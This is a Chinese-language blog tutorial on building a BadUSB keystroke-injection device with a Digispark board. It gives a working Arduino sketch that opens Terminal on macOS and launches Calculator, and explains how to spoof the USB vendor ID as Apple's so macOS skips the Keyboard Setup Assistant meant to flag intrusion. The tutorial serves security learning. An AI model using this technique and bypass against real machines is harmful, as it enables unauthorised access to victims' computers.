Untitled

什么是BadUSB

https://en.wikipedia.org/wiki/BadUSB

BadUSB攻击是一种利用USB固件中的固有漏洞的攻击,将一个写入了恶意代码的定制USB设备,例如U盘,插入受害者电脑,它会伪装成HID设备(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行操作。它由Karsten Nohl 和 Jakob Lell 在2014年BlackHat大会上提出,特点是恶意代码存在于U盘的固件中,杀毒软件无法访问固件区域,也就没有办法查杀这些恶意代码。应对这一攻击最有效的方法就是不要随意插入未知、不受信任的USB设备。

制作BadUSB

通常会使用USB Rubber DuckyDigispark 板子制作BadUSB,我选用了 Digispark 目前在淘宝售价为十几元左右。跟着如下步骤就可以将 Digispark 设备模拟成键盘进行按键操作,执行恶意命令:

  1. 安装 Arduino IDE:

(Arduino IDE 2.0.0) https://www.arduino.cc/en/main/software

  1. 设置 Arduino IDE 以使用该开发板:

请复制以下 URL 并将其粘贴到 PreferencesAdditional Boards Manager URLs 字段中:

# 来自 <http://digistump.com/wiki/digispark/tutorials/connecting> 但是编译工具是 32 位的在高版本的macOS 下无法使用
<http://digistump.com/package_digistump_index.json>

# 可以选择新的替换方案:
## github.com/LukasSchulz/arduino-boards-index/blob/master/package_digistump_index.json
<https://raw.githubusercontent.com/LukasSchulz/arduino-boards-index/master/package_digistump_index.json>

Untitled

  1. 选择开发板 更新完成后,可以选择 Digispark 的开发板:

Untitled

  1. 编译&上传代码: 找个简单的例子,搜索&运行 terminal.app 应用程序,执行 open -a Calculator 命令:
#include "DigiKeyboard.h"

void setup() {
  /*empty*/
}
void loop() {
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("terminal.app");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("open -a Calculator");
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);
  for(;;){ /*empty*/ }
}

点击 upload 然后在 60 秒内将 Digispark 插入计算机:

Untitled

运行成功:

Untitled


**致命问题:**插入设备会弹出键盘助手

Untitled

Digispark的供应商ID(VendorID)是0xc0, 0x16 不是苹果设备。因此 macOS 不信任它并启动键盘设置助手来尝试识别入侵。绕过它也很简单,修改 ~/Library/Arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/usbconfig.h 配置将 USB_CFG_VENDOR_ID 改成 0xac, 0x05 , macOS 将假定它被识别为苹果的同类产品,并且永远不会调用键盘设置助手。

Untitled

参考文章


Powered by Kali-Team